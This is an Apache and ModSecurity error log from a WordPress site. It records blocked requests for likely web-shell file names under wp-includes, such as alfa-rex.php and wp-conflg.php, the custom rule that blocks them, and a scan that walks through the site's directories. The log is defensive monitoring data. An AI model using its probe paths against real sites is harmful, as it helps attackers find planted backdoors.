[Fri Nov 21 05:52:09.775443 2025] [:error] [pid 51434:tid 51456] [client 185.251.19.199:33269] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aR-NifU96liplEDkw_T1cAAAARQ"]
[Fri Nov 21 05:52:14.175675 2025] [:error] [pid 13412:tid 13423] [client 185.251.19.167:28187] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "aR-Njn3-knz3ZB6HogHB9AAAAMY"]
[Fri Nov 21 05:52:15.072541 2025] [:error] [pid 13412:tid 13439] [client 185.251.19.187:49203] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aR-Nj33-knz3ZB6HogHB9gAAANY"]
[Fri Nov 21 05:52:27.108927 2025] [:error] [pid 13327:tid 13404] [client 185.251.19.198:31105] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "aR-Nm_BXf-8B6mFkLeOgBQAAAJM"]
[Fri Nov 21 05:52:28.018753 2025] [:error] [pid 51434:tid 51438] [client 185.251.19.175:38971] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aR-NnPU96liplEDkw_T1jwAAAQI"]
[Fri Nov 21 05:52:32.639293 2025] [:error] [pid 13327:tid 13388] [client 172.98.32.176:50507] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "aR-NoPBXf-8B6mFkLeOgCwAAAIM"]
[Fri Nov 21 05:52:35.639676 2025] [:error] [pid 51434:tid 51447] [client 185.251.19.171:48691] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aR-No_U96liplEDkw_T1mgAAAQs"]
[Fri Nov 21 05:52:38.700190 2025] [:error] [pid 51434:tid 51441] [client 172.98.32.177:32205] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "aR-NpvU96liplEDkw_T1owAAAQU"]
[Fri Nov 21 05:52:39.573004 2025] [:error] [pid 13325:tid 13332] [client 185.251.19.193:46209] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aR-NpyBUXj9tD75On3CnOwAAAAI"]
[Fri Nov 21 05:52:40.478461 2025] [:error] [pid 13326:tid 13370] [client 172.98.32.176:56637] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aR-NqNh942-HkDIkOWrq2QAAAEw"]
[Fri Nov 21 05:52:46.825123 2025] [:error] [pid 13326:tid 13371] [client 185.251.19.193:49663] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aR-Nrth942-HkDIkOWrq4gAAAE0"]
[Fri Nov 21 05:52:49.775478 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.164:44075] [client 185.251.19.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aR-NsfU96liplEDkw_T1swAAAQ8"]
[Fri Nov 21 05:52:56.183550 2025] [:error] [pid 51434:tid 51457] [client 185.251.19.181:22383] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aR-NuPU96liplEDkw_T1vAAAARU"]
[Fri Nov 21 05:52:57.054999 2025] [:error] [pid 13325:tid 13330] [client 185.251.19.181:51825] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aR-NuSBUXj9tD75On3CnRwAAAAA"]
[Fri Nov 21 05:53:00.243327 2025] [:error] [pid 13325:tid 13334] [client 185.251.19.177:53221] [client 185.251.19.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aR-NvCBUXj9tD75On3CnSwAAAAQ"]
[Fri Nov 21 05:53:14.264070 2025] [:error] [pid 13327:tid 13391] [client 185.251.19.175:23657] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "aR-NyvBXf-8B6mFkLeOgLAAAAIY"]
[Fri Nov 21 05:53:17.386988 2025] [:error] [pid 13325:tid 13334] [client 185.251.19.180:57983] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aR-NzSBUXj9tD75On3CnYAAAAAQ"]
[Fri Nov 21 05:53:21.781768 2025] [:error] [pid 13326:tid 13378] [client 185.251.19.182:31279] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aR-N0dh942-HkDIkOWrq-wAAAFQ"]
[Fri Nov 21 05:53:22.716416 2025] [:error] [pid 13327:tid 13395] [client 185.251.19.186:43875] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aR-N0vBXf-8B6mFkLeOgNwAAAIo"]
[Fri Nov 21 05:53:23.646604 2025] [:error] [pid 13326:tid 13380] [client 172.98.32.176:56241] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aR-N09h942-HkDIkOWrq_AAAAFY"]
[Fri Nov 21 05:53:26.569562 2025] [autoindex:error] [pid 13412:tid 13427] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:27.052694 2025] [autoindex:error] [pid 13412:tid 13439] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:27.491316 2025] [autoindex:error] [pid 13412:tid 13441] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:27.932202 2025] [autoindex:error] [pid 13412:tid 13417] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:30.209234 2025] [autoindex:error] [pid 13412:tid 13420] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:30.656678 2025] [autoindex:error] [pid 13412:tid 13435] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:31.124132 2025] [autoindex:error] [pid 13412:tid 13418] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:31.584704 2025] [autoindex:error] [pid 13412:tid 13419] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:32.050117 2025] [autoindex:error] [pid 13412:tid 13434] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:32.492317 2025] [autoindex:error] [pid 13412:tid 13425] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:33.427609 2025] [autoindex:error] [pid 13412:tid 13427] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:35.176890 2025] [autoindex:error] [pid 13412:tid 13432] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:35.637690 2025] [autoindex:error] [pid 13412:tid 13431] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:38.905774 2025] [autoindex:error] [pid 13412:tid 13438] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:39.347452 2025] [autoindex:error] [pid 13412:tid 13424] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:39.817727 2025] [autoindex:error] [pid 13412:tid 13430] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:40.259078 2025] [autoindex:error] [pid 13412:tid 13437] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:43.874936 2025] [autoindex:error] [pid 13412:tid 13435] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:45.761714 2025] [autoindex:error] [pid 13412:tid 13425] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:48.893240 2025] [autoindex:error] [pid 13412:tid 13439] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:49.371389 2025] [autoindex:error] [pid 13412:tid 13426] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:49.809304 2025] [autoindex:error] [pid 13412:tid 13418] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:53:59.044142 2025] [autoindex:error] [pid 13412:tid 13437] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:01.038411 2025] [autoindex:error] [pid 13412:tid 13422] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:01.481800 2025] [autoindex:error] [pid 13412:tid 13436] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:02.871712 2025] [autoindex:error] [pid 13412:tid 13419] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:03.328679 2025] [autoindex:error] [pid 13412:tid 13433] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:03.842198 2025] [autoindex:error] [pid 13412:tid 13435] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:08.641441 2025] [autoindex:error] [pid 13412:tid 13434] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:10.496726 2025] [autoindex:error] [pid 13412:tid 13430] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:50.143129 2025] [autoindex:error] [pid 13412:tid 13437] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:50.611041 2025] [autoindex:error] [pid 13412:tid 13419] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:51.056730 2025] [autoindex:error] [pid 13412:tid 13418] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:51.588308 2025] [autoindex:error] [pid 13412:tid 13440] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:53.882853 2025] [autoindex:error] [pid 13412:tid 13433] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
